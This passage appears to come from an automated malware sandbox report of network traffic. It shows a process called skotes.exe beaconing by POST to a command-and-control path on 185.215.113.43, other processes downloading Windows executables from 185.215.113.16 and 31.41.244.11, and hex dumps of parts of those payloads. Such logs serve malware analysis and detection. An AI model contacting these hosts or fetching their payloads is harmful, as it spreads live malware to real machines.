Nov 23, 2024 20:23:45.475819111 CET	1236	IN	Data Raw: b2 18 c6 ee bc fa c8 e2 ad bb 1e f4 95 3e d9 80 a3 2d cf 49 e3 23 ed 8e 86 cc 99 16 c4 5a c3 93 ac fb 9a 44 a5 b7 ec b0 f0 d9 43 e3 80 10 a2 9e b0 22 bd 27 93 bd 5f 12 71 32 ab 15 c0 cd be 5a 18 23 b5 06 6f d9 92 2c a2 68 82 f5 0a 83 e7 65 5d 3c Data Ascii: >-I#ZDC"'_q2Z#o,he]<dT:Q:9K$$3C,f[{hM$#Jg=nG(~A}N(h(S*apJM.g3W23^0I\|nKu0jl"Kn[d
Nov 23, 2024 20:23:45.595479965 CET	1236	IN	Data Raw: 8a db 37 ca 78 0e 28 dd 84 9a 33 b0 2c 2e ef d4 94 23 db 34 95 0e 89 e9 8f 08 35 0e 92 1b 34 05 95 1e 93 2b e0 0f 7f a3 0d 57 25 3f b4 5d cb 86 c9 74 a6 f0 b1 c0 f6 b9 c9 30 df 20 ab cf ba 2b 3b c1 b4 f2 c4 cd 8f c6 60 13 d4 a4 50 c9 b9 32 c1 5a Data Ascii: 7x(3,.#454+W%?]t0 +;`P2Z:5\3{x>mzjgy[y1d%8,g++Sb;zJV<Uo~&^3bm+IlHx )u)OZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49875	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:45.041981936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 20:23:46.439569950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49883	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:48.144629955 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 20:23:49.601274014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49895	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:51.737317085 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 20:23:53.122849941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49904	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:54.767466068 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 20:23:56.108694077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49910	185.215.113.16	80	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:57.048198938 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 20:23:58.450737000 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:58 GMT Content-Type: application/octet-stream Content-Length: 2801152 Last-Modified: Sat, 23 Nov 2024 18:36:55 GMT Connection: keep-alive ETag: "674220c7-2abe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 63 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+c:+`Ui` @ @.rsrc`2@.idata 8@bqkfoemv`^:@wtifjdmh +@.taggant@ +"@
Nov 23, 2024 20:23:58.450763941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:58.450779915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:58.450804949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:58.450820923 CET	496	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:58.450836897 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:58.450874090 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:58.450887918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:58.450973034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:58.451000929 CET	1236	IN	Data Raw: 39 11 b5 32 1c 2c 44 ea 25 3b 32 22 f4 2a 81 27 89 6f 28 b5 d9 02 a8 9d 99 03 d6 9f 7a 0f 4f 2e ab 2d e9 ce 6a 6c e2 16 3b ae 9e 36 97 e5 53 b0 72 dd d8 8b 00 1f ed 68 b3 ba cd 5b cf 9a 2c f4 05 0f 88 62 e4 2a fd a7 7a 18 95 b3 c9 aa e2 bb f3 36 Data Ascii: 92,D%;2"'o(zO.-jl;6Srh[,bz61"' Sd#/c,br-8ua0Mq>Y+Fh.t+.;0Gaq_G-R)P+0+.U:3&9Y
Nov 23, 2024 20:23:58.570533037 CET	1236	IN	Data Raw: 1b 8b e9 ac d3 9a d0 22 db 2e 5d fb 98 f3 5c 7c dc 46 27 2c 99 a2 02 67 fc f9 e2 a7 83 b9 e9 b4 c5 46 73 fa 27 dd 95 92 af 00 9e 4a 21 e7 a4 ee a8 23 c6 1c 25 f0 fa 52 d6 f0 bf a6 1e 6d eb 85 6d 0b bf 55 fa cf ca 2f 4d fe 2f 64 67 dc 25 43 da 8f Data Ascii: ".]\\|F',gFs'J!#%RmmU/M/dg%C'G~02V@ OM9<m$KMpA4o1F1^/7!T7}~>L\|\|C3sM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49912	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:58.028341055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 20:23:59.397664070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49931	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:24:01.123795986 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 20:24:02.548152924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:24:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49942	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:24:04.442622900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 20:24:05.830929041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:24:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49955	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:24:07.467406988 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 37 32 41 37 30 42 31 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB72A70B15B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 20:24:08.908752918 CET	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:24:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 38 35 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1008510001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49963	31.41.244.11	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:24:09.267617941 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49969	31.41.244.11	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:24:10.418085098 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 20:24:11.843414068 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:24:11 GMT Content-Type: application/octet-stream Content-Length: 4384256 Last-Modified: Sat, 23 Nov 2024 17:21:55 GMT Connection: keep-alive ETag: "67420f33-42e600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c4 00 00 04 00 00 e5 15 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 23 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 22 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2@J@pC@ _qs#" px'@.rsrc p'@.idata q'@ 7q'@pcnvptyg@4'@tgxkadws0B@.taggant0@"B@
Nov 23, 2024 20:24:11.843424082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:24:11.843442917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:24:11.843466997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:24:11.843477011 CET	1236	IN	Data Raw: fa 1d 13 1a ac 96 3b 18 17 00 fb 4d db 71 28 c5 fc 57 28 5e df 88 34 9d cb e3 bb 9b 60 1e 63 f9 d0 c5 41 ee 22 d5 04 fa 19 49 5d f2 03 1d 25 27 d1 1e ca b2 b0 88 98 18 35 69 74 62 32 69 1c 45 be 2f d3 a1 97 ff ca df 52 2d 2a 67 3b 97 88 ef 2c 68 Data Ascii: ;Mq(W(^4`cA"I]%'5itb2iE/R-*g;,hXT6eoaQXpy4CE=ds EW?)H1\5)bN@E&Pf5fZ]/Y\|pu_@.MyHYbK#5-~.Lwrv#"nD0aV:
Nov 23, 2024 20:24:11.843503952 CET	1236	IN	Data Raw: 4d 87 7e d8 d8 43 6c 37 db 20 87 a7 23 ed 93 2f 3f 4f 28 d6 ac 5e b7 59 9e b7 d7 36 01 ca eb cf 58 ba cc 88 6b 97 40 e5 67 52 9b ca 68 ba 47 cf 54 34 9e d1 56 b5 37 f8 89 14 fd c7 24 46 ad 01 16 7b 36 fd 54 d8 1f 2d 65 1c 4b 05 47 62 1e 9f be 37 Data Ascii: M~Cl7 #/?O(^Y6Xk@gRhGT4V7$F{6T-eKGb7fFmVO3HbC3oT6u$b;uKAz';w(jU)q8w=v(\3}7Ezk d ""&+ &[dH/S1^S^
Nov 23, 2024 20:24:11.843514919 CET	1236	IN	Data Raw: 3a 09 de 6e 4e 98 72 4f f7 fd 1a 8d 73 d1 44 4f 42 d0 07 68 d5 79 0a 23 92 2a f6 8d aa 90 90 a9 3b 8b 69 22 4c af dc dd d0 e4 53 76 08 aa 37 9f ca d9 4c 64 d7 e1 44 30 ea 8d 34 b5 6f d1 d8 56 fa 10 d3 07 4b 48 98 4f 06 6f 64 1f fa 9f f0 44 4a 0e Data Ascii: :nNrOsDOBhy#*;i"LSv7LdD04oVKHOodDJ1MuTrs-Ww)#\|vo#9{lo^aa(iIXI~U<,:[Q=Xd(mHP@U#0AtS<=
Nov 23, 2024 20:24:11.843614101 CET	1236	IN	Data Raw: df 2d 90 e9 08 27 e9 05 87 a5 83 ff 54 a7 3b b1 2d 4a 25 58 5a fd 9c 9b de 39 ec 59 0f 4a bb bc ce 06 79 86 0e 3f 22 73 11 16 53 cc 48 58 9c a6 10 80 f3 b7 06 96 b4 e3 1a 03 e1 d7 80 ae d0 8e 74 83 2e a8 3b 35 f1 e0 87 38 59 e2 38 9d ee 2a f8 04 Data Ascii: -'T;-J%XZ9YJy?"sSHXt.;58Y8vwoyB2TphW_^^-B4/;HpFm38;dQpxXEamK&e!:/wLm+@,H&@=E?2Wi>
Nov 23, 2024 20:24:11.843625069 CET	1236	IN	Data Raw: 4d 10 2c 9d 6d be 79 69 16 a7 65 95 f5 d5 25 e7 48 da 80 ce 21 10 78 3d a0 57 38 76 f7 d1 76 42 70 27 e7 ec e5 99 58 5b 1e 37 5e 64 4c 9c 86 31 9f 30 bb 1e 87 f1 48 c1 38 2e 05 05 6f 93 44 71 f7 e9 23 76 41 b7 e3 f2 3c 69 e5 b3 30 24 f4 20 ad 62 Data Ascii: M,myie%H!x=W8vvBp'X[7^dL10H8.oDq#vA<i0$ b7X/\7GG@NI8LjKT_k]2lKE\|_[fMex9NtD8@C.YvYHvpi\n]L;d
Nov 23, 2024 20:24:11.843643904 CET	1236	IN	Data Raw: 42 92 30 5e f5 71 bc 88 74 47 46 5b fb 01 38 94 9e 66 01 2e 4a 31 28 de 26 1f 24 e7 58 c1 5c 59 ad c5 b4 b6 b4 fb a2 af 14 f9 be 9d 66 79 3e 5d cd 64 a2 01 bf 98 19 c5 a8 b0 6f ba 3e df af 6b c3 f6 4a 45 68 a4 3c 7b b9 44 7f d0 14 d4 7a 7d 16 61 Data Ascii: B0^qtGF[8f.J1(&$X\Yfy>]do>kJEh<{Dz}aA8e[M;D]KC-LME.h$_/80B}Cwd#2BBgh@:=J [Gfg*LD]$EJtY173Fgz
Nov 23, 2024 20:24:11.965919971 CET	1236	IN	Data Raw: 7b 0b 5c 5c 78 a1 6d 38 d6 a2 c4 34 18 e1 c0 ac e0 09 7e ff a4 ec b9 94 79 58 37 e4 0e c8 9f e1 eb 47 7e bc 06 af ea c8 ea 42 17 80 ec a7 f8 e9 a9 05 06 67 e3 15 69 ac eb 9f 85 f0 b2 c5 35 3e b8 c9 eb da 4d cc 6a c7 47 45 90 cd 59 35 35 e4 17 bb Data Ascii: {\\xm84~yX7G~Bgi5>MjGEY55lQxmwHD<+^~w7oSeMYoS=5u`wQ^<iy'.WOe4qr{o!\Q\|NJgDLUvph'L9eAr@fY

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50048	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:24:22.676757097 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 20:24:23.924627066 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 23:05:23 GMT Age: 73140 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 20:24:24.044533014 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	50060	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:24:24.198507071 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
